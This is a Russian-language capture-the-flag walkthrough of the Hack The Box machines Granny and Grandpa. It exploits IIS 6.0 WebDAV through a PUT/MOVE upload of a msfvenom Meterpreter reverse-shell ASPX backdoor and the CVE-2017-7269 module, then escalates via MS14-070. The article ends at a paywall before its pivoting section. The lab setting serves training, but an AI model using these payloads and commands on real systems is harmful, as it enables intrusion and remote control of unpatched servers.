Содержание статьи
На заре становления Hack The Box как онлайн-площадки для тренировки вайтхетов в списке машин значились две виртуалки: Grandpa (IP: 10.10.10.14
) и Granny (IP: 10.10.10.15
). Обе эти машины нацелены на эксплуатацию уязвимостей WebDAV (набора дополнений для HTTP), и стратегии захвата их root-флагов практически не отличаются друг от друга.
Поэтому, чтобы разнообразить прохождения, мы сначала быстро рассмотрим, как можно взломать каждый из хостов по отдельности, а после этого превратим один из них в шлюз, через который атакуем второй хост.
Granny
Первой мы будем проходить виртуалку Granny. Эта машина достаточно проста (рейтинг сложности — 3,4 балла из 10), однако, как по мне, она максимально приближена к случаям из реальной жизни (по крайней мере там, где не следят за обновлениями ПО). Недаром именно такие тачки часто попадаются на сертификации OSCP в лайтовой ценовой категории.
Разведка
Для начала сканируем порты и исследуем найденные сервисы.
Nmap
Сканирование Nmap я провожу в два этапа: поверхностное (только SYN-пакеты, без скриптов) и точечное по найденным портам (с задействованием скриптового движка NSE и определением версий сервисов).
root@kali:~# nmap -n -Pn -oA nmap/granny-initial 10.10.10.15
root@kali:~# cat nmap/granny-initial.nmap
...
Host is up (0.065s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
...
Видим только один открытый порт — 80-й, веб. Узнаем, кто там живет.
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/granny-version 10.10.10.15 -p80
root@kali:~# cat nmap/granny-version.nmap
...
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Date: Sat, 21 Dec 2019 18:04:11 GMT
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|_ Server Type: Microsoft-IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...
Итак, что у нас есть? Веб-сервер Microsoft IIS, версия 6.0. Если спросить Google, что он знает об этой ревизии IIS, то он сдаст «мелкомягких» с потрохами: Windows Server 2003.
Информации об архитектуре Windows у нас нет, поэтому пока будем считать, что это x86, ибо они были более распространены в свое время. Также скрипт http-webdav-scan.nse
оповестил нас об установленном наборе HTTP-расширений WebDAV. В общем, все намекает на то, что нам суждено отправиться на исследование веба.
WWW
Если параметры, передаваемые сканеру, кажутся неочевидными, рекомендую обратиться к прохождению машины CTF — там они описаны более подробно.
Веб
Изучим 80-й порт с разных углов: от простого браузера до специальных утилит для работы с WebDAV.
Общие сведения
На главной странице веб-сервера (http://10.10.10.15/
) — заглушка.
Браузер оказался немногословен, поэтому постараемся расширить список наших знаний о системе заголовками HTTP-хедеров.
root@kali:~# curl -I 10.10.10.15
HTTP/1.1 200 OK
Content-Length: 1433
Content-Type: text/html
Content-Location: http://10.10.10.15/iisstart.htm
Last-Modified: Fri, 21 Feb 2003 15:48:30 GMT
Accept-Ranges: bytes
ETag: "05b3daec0d9c21:348"
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sat, 21 Dec 2019 21:51:01 GMT
В заголовках ожидаемо присутствует информация о том, что используется ASP.NET. Держи в голове две базовые схемы, когда речь заходит о стеке технологий веб-разработки:
- LAMP = Linux + Apache + MySQL + PHP
- WISA = Windows + IIS + SQL Server + ASP.NET
В нашем случае, так как речь идет о Windows, платформа ASP.NET выступает в роли альтернативы PHP. А это значит, что именно этот компонент стека будет средой для создания полезной нагрузки бэкдора, и было бы неплохо найти способ доставки на сервер файлов с расширением asp/aspx.
WebDAV
Надстройки WebDAV привносят дополнительные методы в дефолтный набор HTTP-запросов. Один из них — метод MOVE
, который позволяет перемещать (грубо говоря, переименовывать) файлы на сервере. Идея нашего злодеяния довольно проста: загрузить на веб-сервер легитимный файл и переименовать его в исполняемый, изменив расширение на asp или aspx. Таким образом мы обойдем черный список из типов файлов, которые нельзя было загрузить изначально. Эта уловка стара как мир, а в основе ее лежит небезопасная настройка веб-сервера (OSVDB-397), доверяющая метод PUT
кому угодно.
INFO
Для классификации угрозы безопасности я воспользовался нотацией OSVDB. OSVDB (Open Sourced Vulnerability Database) — опенсорсная база данных уязвимостей, которая в апреле 2016 года прекратила свое существование. Однако здесь нам на помощь пришел агрегатор ИБ-контента Vulners, который впитал в себя, в частности, и эту базу данных. Подробнее почитать о нем можно в статье «Vulners — Гугл для хакера. Как устроен лучший поисковик по уязвимостям и как им пользоваться».
Для взаимодействия с WebDAV есть несколько удобных инструментов командной строки, которыми мы и воспользуемся.
Сначала исследуем состояние безопасности с помощью davtest
. К сожалению, эта утилита не позволяет указать прокси-сервер, чтобы посмотреть, какие именно запросы были отправлены, поэтому мы поступим хитро: запустим Burp Suite, перейдем на вкладку Proxy → Options и добавим еще один листенер 10.10.10.15:80
на интерфейс loopback.
Теперь я могу натравить davtest
на localhost точно так же, как на 10.10.10.15
, и все запросы полетят через проксю Burp.
root@kali:~# davtest -rand evilhacker -url localhost
********************************************************
Testing DAV connection
OPEN SUCCEED: localhost
********************************************************
NOTE Random string for this session: evilhacker
********************************************************
Creating directory
MKCOL FAIL
********************************************************
Sending test files
PUT aspx FAIL
PUT php FAIL
PUT cgi FAIL
PUT jhtml FAIL
PUT html FAIL
PUT asp FAIL
PUT txt FAIL
PUT cfm FAIL
PUT pl FAIL
PUT shtml FAIL
PUT jsp FAIL
********************************************************
Несмотря на то что, по мнению davtest
, все попытки загрузить какой-либо файл на сервер провалились, мы можем открыть историю Burp и посмотреть, что же на самом деле произошло.
Как видно из скриншота, разные запросы PUT
получили разные ответы веб-сервера:
- при попытке загрузить файл с расширением aspx — категорический запрет (403);
- для файлов .asp, .cgi, .shtml — неопределенное поведение (404, не уверен, почему IIS выбрал именно эту ошибку);
- для всего остального — конфликт загрузки (409).
Последняя ошибка привлекла мое внимание, потому что встречается она не так часто и связана в основном с конфликтами версий загружаемого и существующего на сервере файлов.
«Этой ошибке здесь не место», — подумал я и посмотрел внимательнее на тело запроса загрузки простого текстового файла.
PUT /localhost/davtest_evilhacker.txt HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: close
Host: localhost:80
User-Agent: DAV.pm/v0.49
Content-Length: 19
TXT put via davtest
Вся проблема в том, что davtest
попытался загрузить эти файлы в несуществующий каталог /localhost
. Еще раз открыв историю HTTP, я увидел запрос MKCOL
на создание директории, который также провалился с ошибкой 409. Выглядел он так.
MKCOL /localhost/DavTestDir_evilhacker/ HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: close
Host: localhost:80
User-Agent: DAV.pm/v0.49
Content-Length: 0
Как нетрудно догадаться, проблема заключается в попытке создать вложенный каталог /DavTestDir_evilhacker
внутри несуществующего родителя /localhost
. Не знаю, умеет ли так делать WebDAV в принципе (смотреть спецификацию было лень; может, в комментариях подскажут), но, если попробовать создать одноуровневую директорию /localhost
, она успешно появится, и все встанет на свои места.
После этого текстовый файл успешно загрузился, а это означает, что наш план в силе и можно приступать к генерации полезной нагрузки.
Шелл от имени NT AUTHORITY\NETWORK SERVICE
Теперь у тебя есть несколько вариантов выбора полезной нагрузки, и все зависит только от конечной цели твоего проникновения в систему.
- Например, если ты точно знаешь, где лежит то, что тебе нужно, и для доступа хватит базовых привилегий в системе, то можно ограничиться простым веб-шеллом, взаимодействовать с которым можно прямо из браузера.
- Если же тебе нужно внимательнее осмотреться на хосте, тогда твоим выбором может стать тот же самый веб-шелл в связке с пейлоадом на PowerShell, что в итоге дарует тебе реверс-шелл.
- Ну а если твоя цель — полный захват контроля над тачкой с эскалацией привилегий до админа, тогда Meterpreter — твой путь.
Конечно, мы выберем последний вариант.
Генерация пейлоада
С помощью msfvenom
создадим бэкдор с полезной нагрузкой Meterpreter для 32-битной версии Windows в формате aspx
.
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform win LHOST=10.10.14.10 LPORT=31337 -f aspx > meterpreter/m.aspx
Далее я создам скрипт автозапуска слушателя Metasploit, чтобы не вводить команды каждый раз вручную в консоли MSF.
## meterpreter/l.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 31337
set ExitOnSession false
exploit -j -z
cadaver
В Kali есть инструмент с жутковатым названием cadaver (то есть «труп») — это консольный WebDAV-клиент, который облегчает взаимодействие с WebDAV из командной строки.
Я скопирую сгенерированный в msfvenom
бэкдор в текстовый файл m.txt
, загружу его на сервер и переименую в m.aspx
в интерактивной сессии cadaver
.
root@kali:~# cp meterpreter/m.aspx m.txt
root@kali:~# cadaver http://10.10.10.15
dav:/> put m.txt
dav:/> move m.txt m.aspx
Теперь можно поднимать слушателя Metasploit и запускать сам файл m.aspx
на сервере (просто обратиться к нему из браузера).
root@kali:~# msfconsole -qr meterpreter/l.rc
И вот у нас уже есть сессия Meterpreter от имени NT AUTHORITY\NETWORK SERVICE.
INFO
К слову, все это можно было проделать одним кликом — модуль exploit/windows/iis/iis_webdav_upload_asp
для Metasploit автоматизирует весь процесс.
Шелл от имени NT AUTHORITY\SYSTEM
Далее дело техники: запустим советчик по локальным уязвимостям и выберем наугад первый попавшийся эксплоит — благо тачка старая и выбор велик.
После минутного ожидания 29 уязвимостей были проверены, и семь из них подошли с высокой вероятностью.
Я выбрал MS14-070 — уязвимость виндового стека TCP/IP. Повышение привилегий с помощью Metasploit заняло считаные секунды, и я получил привилегированный шелл.
INFO
Магия Metasploit — это, конечно, круто, однако за кажущейся простотой часто скрываются довольно нетривиальные пассы с WinAPI. Например, на форуме Hack The Box люди часто практикуются с повышением привилегий без помощи Meterpreter.
Если заспавнить шелл и спросить whoami
, сервер ответит, что ты все еще обладаешь правами не выше NETWORK SERVICE. Происходит это из-за того, что пейлоад Meterpreter все еще инжектирован в первый процесс, который мы заарканили до повышения привилегий. Для того чтобы получить права SYSTEM из оболочки cmd, достаточно мигрировать вредоносный процесс в процесс с соответствующими привилегиями.
Я выбрал cidaemon.exe
с PID 3964
в качестве носителя и подселился к нему.
Теперь права отображаются корректно.
Дело за малым: найти и вытащить хеши (флаги) юзера и администратора. Сделаю я это с помощью Meterpreter — а именно модулей search
и download
.
Напоследок посмотрим на разрядность ОС.
meterpreter > sysinfo
Computer : GRANNY
OS : Windows .NET Server (5.2 Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows
Судя по сведениям sysinfo
, наше предположение о 32-битной природе Windows подтвердилось.
На этом виртуалку Granny считаю пройденной.
Переходим к Grandpa.
Grandpa
Эту тачку (рейтинг сложности — 4,5 балла из 10) я пробегу быстрее и не буду так подробно останавливаться на каждом пункте.
Разведка
Nmap
Так же в два этапа просканируем Nmap.
root@kali:~# nmap -n -Pn -oA nmap/grandpa-initial 10.10.10.14
root@kali:~# cat nmap/grandpa-initial.nmap
...
Host is up (0.064s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
...
Результаты повторяются точь-в-точь.
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/grandpa-version 10.10.10.14 -p80
root@kali:~# cat nmap/grandpa-version.nmap
...
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Server Type: Microsoft-IIS/6.0
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Date: Sat, 21 Dec 2019 16:49:20 GMT
|_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...
Веб
На главной странице веб-сайта висит такая же заглушка.
WebDAV
Единственное существенное различие между двумя тачками, пожалуй, в типах брешей WebDAV. На этой машине доступ к загрузке файлов на сервер с помощью PUT
запрещен для любых типов файлов. Однако, помня о номере версии IIS, я воспользовался нашумевшим в свое время эксплоитом для CVE-2017-7269. Основывается он на ошибке функции ScStoragePathFromUrl
, которая содержит уязвимость переполнения буфера в строке одного из хедеров запроса PROPFIND
(из арсенала WebDAV).
Оригинальный PoC доступен на GitHub, однако я пользовался встроенным модулем Metasploit — iis_webdav_scstoragepathfromurl
.
После получения сессии Meterpreter ты можешь столкнуться с ошибкой прав доступа. Причины возникновения этого бага схожи с теми, что мы наблюдали в аналогичной ситуации при прохождении Granny: пейлоаду тесно в процессе, в котором он сидит.
Чтобы выйти из этого положения, я снова вызову Process List и мигрирую в тот процесс, который обладает нужными мне полномочиями.
Кстати, чтобы узнать, в какой процесс был проведен первичный инжект, можно воспользоваться командой netstat
до миграции и посмотреть список активных сетевых соединений.
C:\windows\system32\inetsrv>netstat -vb
Эскалация привилегий
Здесь все идентично предыдущей тачке: для повышения привилегий я буду использовать тот же сплоит.
Для порядка я запустил поиск локальных уязвимостей, и список оказался точно таким же, как и у виртуалки Granny.
Выбрали ms14_070_tcpip_ioctl
, повысили привилегии и получили свою сессию.
Забираем награду, и Grandpa пройден!
Pivoting
Ну а теперь, собственно, то, ради чего мы сегодня собрались! Я продемонстрирую некоторые базовые принципы проброса соединений с помощью Metasploit.
Обозначим условия задачи. Дано:
- Локальная ВМ атакующего с Kali Linux (IP:
10.10.14.30
), которая имеет прямой доступ к ВМ Granny (IP:10.10.10.15
). - ВМ Granny, которая имеет прямой доступ к ВМ Grandpa (IP:
10.10.10.14
). - У ВМ атакующего нет прямого доступа к ВМ Grandpa — входящие и исходящие соединения блокируются с помощью
iptables
.
Требуется:
- Установить соединение между ВМ атакующего и ВМ Grandpa для сторонних утилит (вне контекста сессии Metasploit).
- Установить соединение между ВМ атакующего и ВМ Grandpa в контексте сессии Metasploit и получить максимальные права на хосте Grandpa.
Решение...
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»